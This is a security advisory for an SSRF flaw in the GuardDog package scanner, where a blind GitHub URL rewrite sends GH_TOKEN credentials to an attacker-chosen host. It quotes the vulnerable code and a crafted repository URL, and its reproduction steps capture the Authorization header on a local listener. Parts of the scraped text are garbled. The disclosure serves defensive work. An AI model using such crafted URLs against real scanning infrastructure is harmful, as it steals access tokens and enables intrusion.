guarddog
Affected
- introduced
1.0.0, last affected2.9.0(ecosystem)
Fixed versions
None listed
Fix
No fixed version is listed.
Advisory
Also known as: CVE-2026-44971, PYSEC-2026-2505
GuardDog has a blind GitHub URL rewrite in remote project scanning causes SSRF and GH_TOKEN exfiltration
Summary
The programmatic remote project scanning path rewrites attacker-controlled repository URLs using a blind string replacement and then sends the caller's GitHub credentials with the resulting request. This allows an attacker who can influence the scanned repository URL to trigger SSRF and capture the GH_TOKEN used by GuardDog.
DescriptionProjectScanner.scan_remote() takes a url, branch, and requirements_name, then constructs a raw GitHub URL by calling:
githubusercontent_url = url.replace("github", "raw.githubusercontent")
req_url = f"{githubusercontent_url}/{branch}/{requirements_name}"
resp = requests.get(url=req_url, auth=token)
Because this logic does not parse or validate the hostname, a crafted URL such as:
http://[email protected]:18081/owner/repo
is transformed into:
http://[email protected]:18081/owner/repo/main/requirements.txt
Requests interprets this as an HTTP request to 127.0.0.1:18081, and GuardDog includes the configured GitHub credentials via HTTP Basic Auth.
Reproduction summary
127.0.0.1:18081 that logs the request path and Authorization header.GIT_USERNAME=alice and GH_TOKEN=supersecret.PypiRequirementsScanner().scan_remote("http://[email protected]:18081/owner/repo", "main", "requirements.txt")./owner/repo/main/requirements.txt with Authorization: Basic YWxpY2U6c3VwZXJzZWNyZXQ=.Key code paths
guarddog/scanners/scanner.py:361-365Practical impact
This can expose repository-scanning infrastructure to:
GH_TOKENPrior public disclosure check
As of 2026-03-18, no matching public GitHub advisory, CVE, or public repo issue was found for this specific bug.
Suggested fix
Parse the input URL, require hostname == "github.com", validate the path shape (owner/repo), build the raw URL from parsed components instead of string replacement, and never send GitHub credentials to non-GitHub hosts.
High Basis: The source's own band: HIGH
1.0.0, last affected 2.9.0 (ecosystem)None listed
No fixed version is listed.
Fix commands are the export's own generic commands. Ojuju never runs them. Check them against your setup first.
Check your own computer: guard packages check
Source: GitHub Advisory Database (reviewed advisories) · CC BY 4.0